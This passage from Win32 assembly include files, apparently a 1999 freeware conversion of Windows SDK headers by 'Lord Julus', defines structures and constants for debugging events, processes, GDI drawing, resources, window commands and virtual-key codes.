ELR_EventCategory DW ? ;
ELR_ReservedFlags DW ? ; For use with paired events (auditing)
ELR_ClosingRecordNumber DD ? ; For use with paired events (auditing)
ELR_StringOffset DD ? ; Offset from beginning of record
ELR_UserSidLength DD ? ;
ELR_UserSidOffset DD ? ;
ELR_DataLength DD ? ;
ELR_DataOffset DD ? ; Offset from beginning of record
EVENTLOGRECORD ENDS ;

OVERLAPPED STRUC ;
O_Internal DD ? ;
O_InternalHigh DD ? ;
O_Offset DD ? ;
O_OffsetHigh DD ? ;
O_hEvent DD ? ;
OVERLAPPED ENDS ;

SECURITY_ATTRIBUTES STRUC ;
SA_nLength DD ? ;
SA_lpSecurityDescriptor DD BYTE PTR ? ;
SA_bInheritHandle DB ? ;
SECURITY_ATTRIBUTES ENDS ;

PROCESS_INFORMATION STRUC ;
PI_hProcess DD ? ;
PI_hThread DD ? ;
PI_dwProcessId DD ? ;
PI_dwThreadId DD ? ;
PROCESS_INFORMATION ENDS ;

FILETIME STRUC ;
FT_dwLowDateTime DD ? ;
FT_dwHighDateTime DD ? ;
FILETIME ENDS ;

SYSTEMTIME STRUC ;
ST_wYear DW ? ;
ST_wMonth DW ? ;
ST_wDayOfWeek DW ? ;
ST_wDay DW ? ;
ST_wHour DW ? ;
ST_wMinute DW ? ;
ST_wSecond DW ? ;
ST_wMilliseconds DW ? ;
SYSTEMTIME ENDS ;

SYSTEM_INFO STRUC ;
UNION ;
SI_dwOemId DW ? ; Obsolete field...do not use
STRUC ;
SI_wProcessorArchitecture DW ? ;
SI_wReserved DW ? ;
ENDS ;
ENDS ;
SI_dwPageSize DD ? ;
SI_lpMinimumApplicationAddress DD BYTE PTR ?
SI_lpMaximumApplicationAddress DD BYTE PTR ?
SI_dwActiveProcessorMask DD ? ;
SI_dwNumberOfProcessors DD ? ;
SI_dwProcessorType DD ? ;
SI_dwAllocationGranularity DD ? ;
SI_wProcessorLevel DW ? ;
SI_wProcessorRevision DW ? ;
SYSTEM_INFO ENDS ;

MEMORYSTATUS STRUC ;
MS_dwLength DD ? ;
MS_dwMemoryLoad DD ? ;
MS_dwTotalPhys DD ? ;
MS_dwAvailPhys DD ? ;
MS_dwTotalPageFile DD ? ;
MS_dwAvailPageFile DD ? ;
MS_dwTotalVirtual DD ? ;
MS_dwAvailVirtual DD ? ;
MEMORYSTATUS ENDS ;

EXCEPTION_DEBUG_INFO STRUC ;
EDI_ExceptionRecord EXCEPTION_RECORD ? ;
EDI_dwFirstChance DD ? ;
EXCEPTION_DEBUG_INFO ENDS ;

THREAD_START_ROUTINE STRUC ; I wasn't able to find a right


DD BYTE PTR ? ; definition for this one
THREAD_START_ROUTINE ENDS ;

CREATE_THREAD_DEBUG_INFO STRUC ;
CTDI_hThread DD ? ;
CTDI_lpThreadLocalBase DD BYTE PTR ? ;
CTDI_lpStartAddress DD BYTE PTR THREAD_START_ROUTINE
CREATE_THREAD_DEBUG_INFO ENDS ;

CREATE_PROCESS_DEBUG_INFO STRUC ;
CPDI_hFile DD ? ;
CPDI_hProcess DD ? ;
CPDI_hThread DD ? ;
CPDI_lpBaseOfImage DD BYTE PTR ? ;
CPDI_dwDebugInfoFileOffset DD ? ;
CPDI_nDebugInfoSize DD ? ;
CPDI_lpThreadLocalBase DD BYTE PTR ? ;
CPDI_lpStartAddress DD BYTE PTR THREAD_START_ROUTINE
CPDI_lpImageName DD BYTE PTR ? ;
CPDI_fUnicode DW ? ;
CREATE_PROCESS_DEBUG_INFO ENDS ;

EXIT_THREAD_DEBUG_INFO STRUC ;
ETDI_dwExitCode DD ? ;
EXIT_THREAD_DEBUG_INFO ENDS ;

EXIT_PROCESS_DEBUG_INFO STRUC ;
EPDI_dwExitCode DD ? ;
EXIT_PROCESS_DEBUG_INFO ENDS ;

LOAD_DLL_DEBUG_INFO STRUC ;
LDDI_hFile DD ? ;
LDDI_lpBaseOfDll DD BYTE PTR ? ;
LDDI_dwDebugInfoFileOffset DD ? ;
LDDI_nDebugInfoSize DD ? ;
LDDI_lpImageName DD BYTE PTR ? ;
LDDI_fUnicode DW ? ;
LOAD_DLL_DEBUG_INFO ENDS ;

UNLOAD_DLL_DEBUG_INFO STRUC ;
UDDI_lpBaseOfDll DD BYTE PTR ? ;
UNLOAD_DLL_DEBUG_INFO ENDS ;

OUTPUT_DEBUG_STRING_INFO STRUC ;
ODSI_lpDebugStringData DD BYTE PTR ? ;
ODSI_fUnicode DW ? ;
ODSI_nDebugStringLength DW ? ;
OUTPUT_DEBUG_STRING_INFO ENDS ;

RIP_INFO STRUC
RIP_dwError dd ?
RIP_dwType dd ?
RIP_INFO ENDS

DEBUG_EVENT STRUC ;
DEV_dwDebugEventCode DD ? ;
DEV_dwProcessId DD ? ;
DEV_dwThreadId DD ? ;
UNION ;
DEV_Exception EXCEPTION_DEBUG_INFO ? ;
DEV_CreateThread CREATE_THREAD_DEBUG_INFO ? ;
DEV_CreateProcessInfo CREATE_PROCESS_DEBUG_INFO ? ;
DEV_ExitThread EXIT_THREAD_DEBUG_INFO ? ;
DEV_ExitProcess EXIT_PROCESS_DEBUG_INFO ? ;
DEV_LoadDll LOAD_DLL_DEBUG_INFO ? ;
DEV_UnloadDll UNLOAD_DLL_DEBUG_INFO ? ;
DEV_DebugString OUTPUT_DEBUG_STRING_INFO ? ;
DEV_RipInfo RIP_INFO ? ;
ENDS ;
DEBUG_EVENT ENDS ;

PROCESS_HEAP_ENTRY STRUC ;
lpData DD BYTE PTR ? ;
cbData DD ? ;
cbOverhead DB ? ;
iRegionIndex DB ? ;
wFlags DW ? ;
UNION ;
STRUC ;
hMem DD ? ;
dwReserved DD 3 DUP(?) ;
ENDS ;
STRUC ;
dwCommittedSize DD ? ;
dwUnCommittedSize DD ? ;
lpFirstBlock DD BYTE PTR ? ;
lpLastBlock DD BYTE PTR ? ;
ENDS ;
ENDS ;
PROCESS_HEAP_ENTRY ENDS ;

STARTUPINFO STRUC ;
STI_cb DD ? ;
STI_lpReserved DD BYTE PTR ? ;
STI_lpDesktop DD BYTE PTR ? ;
STI_lpTitle DD BYTE PTR ? ;
STI_dwX DD ? ;
STI_dwY DD ? ;
STI_dwXSize DD ? ;
STI_dwYSize DD ? ;
STI_dwXCountChars DD ? ;
STI_dwYCountChars DD ? ;
STI_dwFillAttribute DD ? ;
STI_dwFlags DD ? ;
STI_wShowWindow DW ? ;
STI_cbReserved2 DW ? ;
STI_lpReserved2 DD BYTE PTR ? ;
STI_hStdInput DD ? ;
STI_hStdOutput DD ? ;
STI_hStdError DD ? ;
STARTUPINFO ENDS ;

WIN32_FIND_DATA STRUC ;
WFD_dwFileAttributes DD ? ;
WFD_ftCreationTime FILETIME ? ;
WFD_ftLastAccessTime FILETIME ? ;
WFD_ftLastWriteTime FILETIME ? ;
WFD_nFileSizeHigh DD ? ;
WFD_nFileSizeLow DD ? ;
WFD_dwReserved0 DD ? ;
WFD_dwReserved1 DD ? ;
WFD_cFileName DB MAX_PATH DUP(?) ;
WFD_cAlternateFileName DB 14 DUP(?) ;
WIN32_FIND_DATA ENDS ;
WIN32_FILE_ATTRIBUTE_DATA STRUC ;
WFAD_dwFileAttributes DD ? ;
WFAD_ftCreationTime FILETIME ? ;
WFAD_ftLastAccessTime FILETIME ? ;
WFAD_ftLastWriteTime FILETIME ? ;
WFAD_nFileSizeHigh DD ? ;
WFAD_nFileSizeLow DD ? ;
WIN32_FILE_ATTRIBUTE_DATA ENDS ;

DUPLICATE_CLOSE_SOURCE equ 00000001


DUPLICATE_SAME_ACCESS equ 00000002

; ³ Misclancellous Structures and Equates ³


;ÄÄÄÄÄÄ´ as they appear in the Windows.inc
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ³ file from TASM 5.0 include directory. ³

; Point

POINT struc
x DD ?
y DD ?
POINT ends

; Rectangle

RECT struc
rcLeft UINT ?
rcTop UINT ?
rcRight UINT ?
rcBottom UINT ?
RECT ends

; Window Class structure

WNDCLASS struc
clsStyle UINT ? ; class style
clsLpfnWndProc ULONG ?
clsCbClsExtra UINT ?
clsCbWndExtra UINT ?
clsHInstance UINT ? ; instance handle
clsHIcon UINT ? ; class icon handle
clsHCursor UINT ? ; class cursor handle
clsHbrBackground UINT ? ; class background brush
clsLpszMenuName ULONG ? ; menu name
clsLpszClassName ULONG ? ; far ptr to class name
WNDCLASS ends

STD_WINDOW STRUC
wcxSize dd ?
wcxStyle dd ?
wcxWndProc dd ?
wcxClsExtra dd ?
wcxWndExtra dd ?
wcxInstance dd ?
wcxIcon dd ?
wcxCursor dd ?
wcxBkgndBrush dd ?
wcxMenuName dd ?
wcxClassName dd ?
wcxSmallIcon dd ?
STD_WINDOW ENDS

PAINTSTRUCT STRUC
PShdc UINT ?
PSfErase UINT ?
PSrcPaint UCHAR size RECT dup(?)
PSfRestore UINT ?
PSfIncUpdate UINT ?
PSrgbReserved UCHAR 16 dup(?)
PAINTSTRUCT ENDS

MSGSTRUCT struc
msHWND UINT ?
msMESSAGE UINT ?
msWPARAM UINT ?
msLPARAM ULONG ?
msTIME ULONG ?
msPT ULONG ?
MSGSTRUCT ends

MINMAXINFO struc
res_x dd ?
res_y dd ?
maxsize_x dd ?
maxsize_y dd ?
maxposition_x dd ?
maxposition_y dd ?
mintrackposition_x dd ?
mintrackposition_y dd ?
maxtrackposition_x dd ?
maxtrackposition_y dd ?
MINMAXINFO ends

TEXTMETRIC struc
tmHeight dw ?
tmAscent dw ?
tmDescent dw ?
tmIntLeading dw ?
tmExtLeading dw ?
tmAveCharWidth dw ?
tmMaxCharWidth dw ?
tmWeight dw ?
tmItalic db ?
tmUnderlined db ?
tmStruckOut db ?
tmFirstChar db ?
tmLastChar db ?
tmDefaultChar db ?
tmBreakChar db ?
tmPitch db ?
tmCharSet db ?
tmOverhang dw ?
tmAspectX dw ?
tmAspectY dw ?
TEXTMETRIC ends

LF_FACESIZE EQU 32

LOGFONT struc
lfHeight dw ?
lfWidth dw ?
lfEscapement dw ?
lfOrientation dw ?
lfWeight dw ?
lfItalic db ?
lfUnderline db ?
lfStrikeOut db ?
lfCharSet db ?
lfOutPrecision db ?
lfClipPrecision db ?
lfQuality db ?
lfPitchAndFamily db ?
lfFaceName db LF_FACESIZE dup(?)
LOGFONT ends

LOGBRUSH struc
lbStyle dw ?
lbColor dd ?
lbHatch dw ?
LOGBRUSH ends

; Text Drawing modes

TRANSPARENT = 1
OPAQUE = 2

; Mapping Modes

MM_TEXT = 1
MM_LOMETRIC = 2
MM_HIMETRIC = 3
MM_LOENGLISH = 4
MM_HIENGLISH = 5
MM_TWIPS = 6
MM_ISOTROPIC = 7
MM_ANISOTROPIC = 8

; Coordinate Modes

ABSOLUTE = 1
RELATIVE = 2

; Stock Logical Objects

WHITE_BRUSH = 0
LTGRAY_BRUSH = 1
GRAY_BRUSH = 2
DKGRAY_BRUSH = 3
BLACK_BRUSH = 4
NULL_BRUSH = 5
HOLLOW_BRUSH = 5
WHITE_PEN = 6
BLACK_PEN = 7
NULL_PEN = 8
DOT_MARKER = 9
OEM_FIXED_FONT = 10
ANSI_FIXED_FONT = 11
ANSI_VAR_FONT = 12
SYSTEM_FONT = 13
DEVICE_DEFAULT_FONT = 14
DEFAULT_PALETTE = 15
SYSTEM_FIXED_FONT = 16

; Brush Styles
BS_SOLID = 0
BS_NULL = 1
BS_HOLLOW = BS_NULL
BS_HATCHED = 2
BS_PATTERN = 3
BS_INDEXED = 4
BS_DIBPATTERN = 5

; Hatch Styles

HS_HORIZONTAL = 0 ; -----
HS_VERTICAL = 1 ; |||||
HS_FDIAGONAL = 2 ; \\\\\
HS_BDIAGONAL = 3 ; /////
HS_CROSS = 4 ; +++++
HS_DIAGCROSS = 5 ; xxxxx

; Pen Styles

PS_SOLID = 0
PS_DASH = 1 ; -------
PS_DOT = 2 ; .......
PS_DASHDOT = 3 ; _._._._
PS_DASHDOTDOT = 4 ; _.._.._
PS_NULL = 5
PS_INSIDEFRAME = 6

; Device Parameters for GetDeviceCaps()

DRIVERVERSION =0 ; Device driver version


TECHNOLOGY =2 ; Device classification
HORZSIZE =4 ; Horizontal size in millimeters
VERTSIZE =6 ; Vertical size in millimeters
HORZRES =8 ; Horizontal width in pixels
VERTRES =10 ; Vertical width in pixels
BITSPIXEL =12 ; Number of bits per pixel
PLANES =14 ; Number of planes
NUMBRUSHES =16 ; Number of brushes the device has
NUMPENS =18 ; Number of pens the device has
NUMMARKERS =20 ; Number of markers the device has
NUMFONTS =22 ; Number of fonts the device has
NUMCOLORS =24 ; Number of colors the device supports
PDEVICESIZE =26 ; Size required for device descriptor
CURVECAPS =28 ; Curve capabilities
LINECAPS =30 ; Line capabilities
POLYGONALCAPS =32 ; Polygonal capabilities
TEXTCAPS =34 ; Text capabilities
CLIPCAPS =36 ; Clipping capabilities
RASTERCAPS =38 ; Bitblt capabilities
ASPECTX =40 ; Length of the X leg
ASPECTY =42 ; Length of the Y leg
ASPECTXY =44 ; Length of the hypotenuse

LOGPIXELSX =88 ; Logical pixels/inch in X


LOGPIXELSY =90 ; Logical pixels/inch in Y

SIZEPALETTE =104 ; Number of entries in physical palette


NUMRESERVED =106 ; Number of reserved entries in palette
COLORRES =108 ; Actual color resolution

; Device Capability Masks:

; Device Technologies
DT_PLOTTER = 0 ; Vector plotter
DT_RASDISPLAY = 1 ; Raster display
DT_RASPRINTER = 2 ; Raster printer
DT_RASCAMERA = 3 ; Raster camera
DT_CHARSTREAM = 4 ; Character-stream, PLP
DT_METAFILE = 5 ; Metafile, VDM
DT_DISPFILE = 6 ; Display-file

; Curve Capabilities

CC_NONE = 0 ; Curves not supported


CC_CIRCLES = 1 ; Can do circles
CC_PIE = 2 ; Can do pie wedges
CC_CHORD = 4 ; Can do chord arcs
CC_ELLIPSES = 8 ; Can do ellipese
CC_WIDE = 16 ; Can do wide lines
CC_STYLED = 32 ; Can do styled lines
CC_WIDESTYLED = 64 ; Can do wide styled lines
CC_INTERIORS = 128; Can do interiors

; Line Capabilities

LC_NONE = 0 ; Lines not supported


LC_POLYLINE = 2 ; Can do polylines
LC_MARKER = 4 ; Can do markers
LC_POLYMARKER = 8 ; Can do polymarkers
LC_WIDE = 16 ; Can do wide lines
LC_STYLED = 32 ; Can do styled lines
LC_WIDESTYLED = 64 ; Can do wide styled lines
LC_INTERIORS = 128; Can do interiors

; Polygonal Capabilities

PC_NONE = 0 ; Polygonals not supported


PC_POLYGON = 1 ; Can do polygons
PC_RECTANGLE = 2 ; Can do rectangles
PC_WINDPOLYGON = 4 ; Can do winding polygons
PC_TRAPEZOID = 4 ; Can do trapezoids
PC_SCANLINE = 8 ; Can do scanlines
PC_WIDE = 16 ; Can do wide borders
PC_STYLED = 32 ; Can do styled borders
PC_WIDESTYLED = 64 ; Can do wide styled borders
PC_INTERIORS = 128; Can do interiors

; Polygonal Capabilities

CP_NONE = 0 ; No clipping of output


CP_RECTANGLE = 1 ; Output clipped to rects

; Text Capabilities

TC_OP_CHARACTER = 0001h ; Can do OutputPrecision CHARACTER


TC_OP_STROKE = 0002h ; Can do OutputPrecision STROKE
TC_CP_STROKE = 0004h ; Can do ClipPrecision STROKE
TC_CR_90 = 0008h ; Can do CharRotAbility 90
TC_CR_ANY = 0010h ; Can do CharRotAbility ANY
TC_SF_X_YINDEP = 0020h ; Can do ScaleFreedom X_YINDEPENDENT
TC_SA_DOUBLE = 0040h ; Can do ScaleAbility DOUBLE
TC_SA_INTEGER = 0080h ; Can do ScaleAbility INTEGER
TC_SA_CONTIN = 0100h ; Can do ScaleAbility CONTINUOUS
TC_EA_DOUBLE = 0200h ; Can do EmboldenAbility DOUBLE
TC_IA_ABLE = 0400h ; Can do ItalisizeAbility ABLE
TC_UA_ABLE = 0800h ; Can do UnderlineAbility ABLE
TC_SO_ABLE = 1000h ; Can do StrikeOutAbility ABLE
TC_RA_ABLE = 2000h ; Can do RasterFontAble ABLE
TC_VA_ABLE = 4000h ; Can do VectorFontAble ABLE
TC_RESERVED = 8000h

; Raster Capabilities

RC_BITBLT = 1 ; Can do standard BLT.


RC_BANDING = 2 ; Device requires banding support
RC_SCALING = 4 ; Device requires scaling support
RC_BITMAP64 = 8 ; Device can support >64K bitmap
RC_GDI20_OUTPUT = 0010h ; has 2.0 output calls
RC_DI_BITMAP = 0080h ; supports DIB to memory
RC_PALETTE = 0100h ; supports a palette
RC_DIBTODEV = 0200h ; supports DIBitsToDevice
RC_BIGFONT = 0400h ; supports >64K fonts
RC_STRETCHBLT = 0800h ; supports StretchBlt
RC_FLOODFILL = 1000h ; supports FloodFill
RC_STRETCHDIB = 2000h ; supports StretchDIBits

; palette entry flags

PC_RESERVED = 1 ; palette index used for animation


PC_EXPLICIT = 2 ; palette index is explicit to device
PC_NOCOLLAPSE = 4 ; do not match color to system palette

; DIB color table identifiers

DIB_RGB_COLORS = 0 ; color table in RGBTriples


DIB_PAL_COLORS = 1 ; color table in palette indices

;constants for Get/SetSystemPaletteUse()

SYSPAL_STATIC = 1
SYSPAL_NOSTATIC = 2

; constants for CreateDIBitmap

CBM_INIT = 4 ; initialize bitmap

; Bitmap format constants

BI_RGB = 0
BI_RLE8 = 1
BI_RLE4 = 2

ANSI_CHARSET = 0
SYMBOL_CHARSET = 2
OEM_CHARSET = 255

; styles for CombineRgn

RGN_AND = 1
RGN_OR = 2
RGN_XOR = 3
RGN_DIFF = 4
RGN_COPY = 5

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ END OF FILE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; wasn't it obvious ? ;-)


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32NT_LJ.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32US_LJ.INC]ÄÄÄ
comment $

Lord Julus presents the Win32 help series

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄ¿ ÚÄ¿
³ ³ This is my transformation of the original WINUSER.H ³ ³
³ ³ file from the Microsoft Windows SDK(C) for Windows NT 5.0 ³ ³
³ ³ beta 2 and Windows 98, released on in Sept. 1998. ³ ³
³ ³ This file was transformed by me from the original C ³ ³
³ ³ definition into assembly language. You can use this file to ³ ³
³ ³ quicken up writting your win32 programs in assembler. You ³ ³
³ ³ can use these files as you wish, as they are freeware. ³ ³
³ ³ ³ ³
³ ³ However, if you find any mistake inside this file, ³ ³
³ ³ it is probably due to the fact that I merely could see the ³ ³
³ ³ monitor while converting the files. So, if you do notice ³ ³
³ ³ something, please notify me on my e-mail address at: ³ ³
³ ³ ³ ³
³ ³ lordjulus@geocities.com ³ ³
³ ³ ³ ³
³ ³ Also, if you find any other useful stuff that can be ³ ³
³ ³ included here, do not hesitate to tell me. ³ ³
³ ³ ³ ³
³ ³ Good luck, ³ ³
³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³
³ ³ ³ Lord Julus (c) 1999 ³ ³ ³
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
³ ³ ³ ³
ÀÄÙ ÀÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

; Predefined Resource Types

RESOURCE_CONNECTED EQU 00000001h


RESOURCE_GLOBALNET EQU 00000002h
RESOURCE_REMEMBERED EQU 00000003h
RESOURCE_RECENT EQU 00000004h
RESOURCE_CONTEXT EQU 00000005h

RESOURCETYPE_ANY EQU 00000000h


RESOURCETYPE_DISK EQU 00000001h
RESOURCETYPE_PRINT EQU 00000002h
RESOURCETYPE_RESERVED EQU 00000008h
RESOURCETYPE_UNKNOWN EQU 0FFFFFFFFh

RESOURCEUSAGE_CONNECTABLE EQU 00000001h


RESOURCEUSAGE_CONTAINER EQU 00000002h
RESOURCEUSAGE_NOLOCALDEVICE EQU 00000004h
RESOURCEUSAGE_SIBLING EQU 00000008h
RESOURCEUSAGE_ATTACHED EQU 00000010h
RESOURCEUSAGE_ALL EQU RESOURCEUSAGE_CONNECTABLE OR\
RESOURCEUSAGE_CONTAINER OR\
RESOURCEUSAGE_ATTACHED
RESOURCEUSAGE_RESERVED EQU 80000000h

RESOURCEDISPLAYTYPE_GENERIC EQU 00000000h


RESOURCEDISPLAYTYPE_DOMAIN EQU 00000001h
RESOURCEDISPLAYTYPE_SERVER EQU 00000002h
RESOURCEDISPLAYTYPE_SHARE EQU 00000003h
RESOURCEDISPLAYTYPE_FILE EQU 00000004h
RESOURCEDISPLAYTYPE_GROUP EQU 00000005h
RESOURCEDISPLAYTYPE_NETWORK EQU 00000006h
RESOURCEDISPLAYTYPE_ROOT EQU 00000007h
RESOURCEDISPLAYTYPE_SHAREADMIN EQU 00000008h
RESOURCEDISPLAYTYPE_DIRECTORY EQU 00000009h
RESOURCEDISPLAYTYPE_TREE EQU 0000000Ah
RESOURCEDISPLAYTYPE_NDSCONTAINER EQU 0000000Bh

NETRESOURCEA STRUC
dwScope DD 0
dwType DD 0
dwDisplayType DD 0
dwUsage DD 0
lpLocalName DD 0
lpRemoteName DD 0
lpComment DD 0
lpProvider DD 0
NETRESOURCEA ENDS

;---

RT_CURSOR EQU 1
RT_BITMAP EQU 2
RT_ICON EQU 3
RT_MENU EQU 4
RT_DIALOG EQU 5
RT_STRING EQU 6
RT_FONTDIR EQU 7
RT_FONT EQU 8
RT_ACCELERATOR EQU 9
RT_RCDATA EQU 10
RT_MESSAGETABLE EQU 11
DIFFERENCE EQU 11
RT_GROUP_CURSOR EQU RT_CURSOR + DIFFERENCE
RT_GROUP_ICON EQU RT_ICON + DIFFERENCE
RT_VERSION EQU 16
RT_DLGINCLUDE EQU 17
RT_PLUGPLAY EQU 19
RT_VXD EQU 20
RT_ANICURSOR EQU 21
RT_ANIICON EQU 22
RT_HTML EQU 23

; Scroll Bar Constants

SB_HORZ EQU 0
SB_VERT EQU 1
SB_CTL EQU 2
SB_BOTH EQU 3
SB_LINEUP EQU 0
SB_LINELEFT EQU 0
SB_LINEDOWN EQU 1
SB_LINERIGHT EQU 1
SB_PAGEUP EQU 2
SB_PAGELEFT EQU 2
SB_PAGEDOWN EQU 3
SB_PAGERIGHT EQU 3
SB_THUMBPOSITION EQU 4
SB_THUMBTRACK EQU 5
SB_TOP EQU 6
SB_LEFT EQU 6
SB_BOTTOM EQU 7
SB_RIGHT EQU 7
SB_ENDSCROLL EQU 8

; ShowWindow() Commands

SW_HIDE EQU 0
SW_SHOWNORMAL EQU 1
SW_NORMAL EQU 1
SW_SHOWMINIMIZED EQU 2
SW_SHOWMAXIMIZED EQU 3
SW_MAXIMIZE EQU 3
SW_SHOWNOACTIVATE EQU 4
SW_SHOW EQU 5
SW_MINIMIZE EQU 6
SW_SHOWMINNOACTIVE EQU 7
SW_SHOWNA EQU 8
SW_RESTORE EQU 9
SW_SHOWDEFAULT EQU 10
SW_FORCEMINIMIZE EQU 11
SW_MAX EQU 11

; Old ShowWindow() Commands

HIDE_WINDOW EQU 0
SHOW_OPENWINDOW EQU 1
SHOW_ICONWINDOW EQU 2
SHOW_FULLSCREEN EQU 3
SHOW_OPENNOACTIVATE EQU 4

; Identifiers for the WM_SHOWWINDOW message

SW_PARENTCLOSING EQU 1
SW_OTHERZOOM EQU 2
SW_PARENTOPENING EQU 3
SW_OTHERUNZOOM EQU 4

; AnimateWindow() Commands

AW_HOR_POSITIVE EQU 00000001h


AW_HOR_NEGATIVE EQU 00000002h
AW_VER_POSITIVE EQU 00000004h
AW_VER_NEGATIVE EQU 00000008h
AW_CENTER EQU 00000010h
AW_HIDE EQU 00010000h
AW_ACTIVATE EQU 00020000h
AW_SLIDE EQU 00040000h
AW_BLEND EQU 00080000h

; WM_KEYUP/DOWN/CHAR HIWORD(lParam) flags

KF_EXTENDED EQU 0100h


KF_DLGMODE EQU 0800h
KF_MENUMODE EQU 1000h
KF_ALTDOWN EQU 2000h
KF_REPEAT EQU 4000h
KF_UP EQU 8000h

; Virtual Keys, Standard Set

VK_LBUTTON EQU 01h


VK_RBUTTON EQU 02h
VK_CANCEL EQU 03h
VK_MBUTTON EQU 04h
VK_BACK EQU 08h
VK_TAB EQU 09h
VK_CLEAR EQU 0Ch
VK_RETURN EQU 0Dh
VK_SHIFT EQU 10h
VK_CONTROL EQU 11h
VK_MENU EQU 12h
VK_PAUSE EQU 13h
VK_CAPITAL EQU 14h
VK_KANA EQU 15h
VK_HANGEUL EQU 15h
VK_HANGUL EQU 15h
VK_JUNJA EQU 17h
VK_FINAL EQU 18h
VK_HANJA EQU 19h
VK_KANJI EQU 19h
VK_ESCAPE EQU 1Bh
VK_CONVERT EQU 1Ch
VK_NONCONVERT EQU 1Dh
VK_ACCEPT EQU 1Eh
VK_MODECHANGE EQU 1Fh
VK_SPACE EQU 20h
VK_PRIOR EQU 21h
VK_NEXT EQU 22h
VK_END EQU 23h
VK_HOME EQU 24h
VK_LEFT EQU 25h
VK_UP EQU 26h
VK_RIGHT EQU 27h
VK_DOWN EQU 28h
VK_SELECT EQU 29h
VK_PRINT EQU 2Ah
VK_EXECUTE EQU 2Bh
VK_SNAPSHOT EQU 2Ch
VK_INSERT EQU 2Dh
VK_DELETE EQU 2Eh
VK_HELP EQU 2Fh
VK_0 EQU '0'
VK_1 EQU '1'
VK_2 EQU '2'
VK_3 EQU '3'
VK_4 EQU '4'
VK_5 EQU '5'
VK_6 EQU '6'
VK_7 EQU '7'
VK_8 EQU '8'
VK_9 EQU '9'
VK_A EQU 'A'
VK_B EQU 'B'
VK_C EQU 'C'
VK_D EQU 'D'
VK_E EQU 'E'
VK_F EQU 'F'
VK_G EQU 'G'
VK_H EQU 'H'
VK_I EQU 'I'
VK_J EQU 'J'
VK_K EQU 'K'
VK_L EQU 'L'
VK_M EQU 'M'
VK_N EQU 'N'
VK_O EQU 'O'
VK_P EQU 'P'
VK_Q EQU 'Q'
VK_R EQU 'R'
VK_S EQU 'S'
VK_T EQU 'T'
VK_U EQU 'U'
VK_V EQU 'V'
VK_W EQU 'W'
VK_X EQU 'X'
VK_Y EQU 'Y'
VK_Z EQU 'Z'
VK_LWIN EQU 5Bh
VK_RWIN EQU 5Ch
VK_APPS EQU 5Dh
VK_NUMPAD0 EQU 60h
VK_NUMPAD1 EQU 61h
VK_NUMPAD2 EQU 62h
VK_NUMPAD3 EQU 63h
VK_NUMPAD4 EQU 64h
VK_NUMPAD5 EQU 65h
VK_NUMPAD6 EQU 66h
VK_NUMPAD7 EQU 67h
VK_NUMPAD8 EQU 68h
VK_NUMPAD9 EQU 69h
VK_MULTIPLY EQU 6Ah
VK_ADD EQU 6Bh
VK_SEPARATOR EQU 6Ch
VK_SUBTRACT EQU 6Dh
VK_DECIMAL EQU 6Eh
VK_DIVIDE EQU 6Fh
VK_F1 EQU 70h
VK_F2 EQU 71h
VK_F3 EQU 72h
VK_F4 EQU 73h
VK_F5 EQU 74h
VK_F6 EQU 75h
VK_F7 EQU 76h
VK_F8 EQU 77h
VK_F9 EQU 78h
VK_F10 EQU 79h
VK_F11 EQU 7Ah
VK_F12 EQU 7Bh
VK_F13 EQU 7Ch
VK_F14 EQU 7Dh
VK_F15 EQU 7Eh
VK_F16 EQU 7Fh
VK_F17 EQU 80h
VK_F18 EQU 81h
VK_F19 EQU 82h
VK_F20 EQU 83h
VK_F21 EQU 84h
VK_F22 EQU 85h
VK_F23 EQU 86h
VK_F24 EQU 87h
VK_NUMLOCK EQU 90h
VK_SCROLL EQU 91h
VK_LSHIFT EQU A0h
VK_RSHIFT EQU A1h
VK_LCONTROL EQU A2h
VK_RCONTROL EQU A3h
VK_LMENU EQU A4h
VK_RMENU EQU A5h
VK_ATTN EQU F6h
VK_CRSEL EQU F7h
VK_EXSEL EQU F8h
VK_EREOF EQU F9h
VK_PLAY EQU FAh
VK_ZOOM EQU FBh
VK_NONAME EQU FCh
VK_PA1 EQU FDh
VK_OEM_CLEAR EQU FEh

; SetWindowsHook() codes

WH_MIN EQU -1
